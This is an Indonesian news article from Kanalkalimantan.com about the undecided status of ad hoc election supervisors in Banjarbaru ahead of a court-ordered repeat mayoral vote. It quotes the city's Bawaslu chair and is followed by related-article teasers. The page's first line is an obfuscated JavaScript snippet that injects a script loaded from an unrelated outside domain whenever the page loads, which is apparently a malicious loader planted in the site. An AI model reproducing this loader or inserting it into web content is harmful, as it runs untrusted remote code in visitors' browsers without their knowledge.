(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Nasib kerja badan adhoc untuk pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru masih belum ditentukan.
Hingga Kamis (27/2/2025), tiga hari pasca putusan MK Pilwali Banjarbaru diketuk, penyelenggara baik KPU maupun Bawaslu belum membeberkan terkait teknis pelaksanaan PSU, mulai dari persiapan anggaran hingga badan adhoc-nya.
Seperti halnya badan adhoc di lingkungan Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru, baik Panitia Pengawas Kecamatan (Panwascam), Pengawas Kelurahan dan Desa (PKD) hingga Pengawas Tempat Pemungutan Suara (PTPS) nasib kerja para petugas belum ditentukan.
Baca juga: KPU Banjarbaru Sudah Gagal, GMPD: DKPP Harus Pecat Komisioner
Ketua Bawaslu Kota Banjarbaru, Nor Ikhsan. Foto wanda
Hal ini diakui oleh Ketua Bawaslu Kota Banjarbaru, Nor Ikhsan melakui keterangan yang diterima Kamis (27/2/2025).
“Secara keseluruhan, tenaga adhoc sudah habis tugas. Kita menunggu surat resmi Bawaslu RI,” ujar Nor Ikhsan.
Ikhsan mengaku pihaknya masih menunggu petunjuk teknis (juknis) dari Bawaslu RI, apakah tetap menggunakan tenaga adhoc yang sama bertugas saat Pilkada Serentak 2024 atau harus membuka penerimaan tenaga adhoc baru.
Baca juga: Mantan Kadis PUPR Kalsel Didakwa Terima Gratifikasi dan Suap Rp12,4 Miliar
“Atau apakah akan kita evaluasi, saat ini kami masih menunggu salah satunya petunjuk teknis dari Bawaslu RI,” sambung dia.
Di sisi lain terkait badan adhoc juga, Ikhsan memastikan akan segera berkoordinasi dengan Pemerintah Kota Banjarbaru, dalam hal ini Badan Kesatuan Bangsa dan Politik (Bakesbangpol).
Sebab kesiapan badan adhoc juga tergantung pemberian dana hibah bagi Bawaslu untuk melaksanakan pengawasan dalam PSU.
Baca juga: Anggaran Coblosan Ulang Pilwali Banjarbaru Disiapkan
Selain itu, Bawaslu Kota Banjarbaru akan berkoordinasi dengan KPU Banjarbaru, terkait jadwal tahapan PSU. Hal ini dilakukan sebelum penghitungan anggaran yang diajukan Bawaslu Banjarbaru.
“Kita harus tahu apa saja yang dikerjakan, dalam hal ini kami perlu pengawasan saat pengadaan dan distribusi logistik,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
This website uses cookies.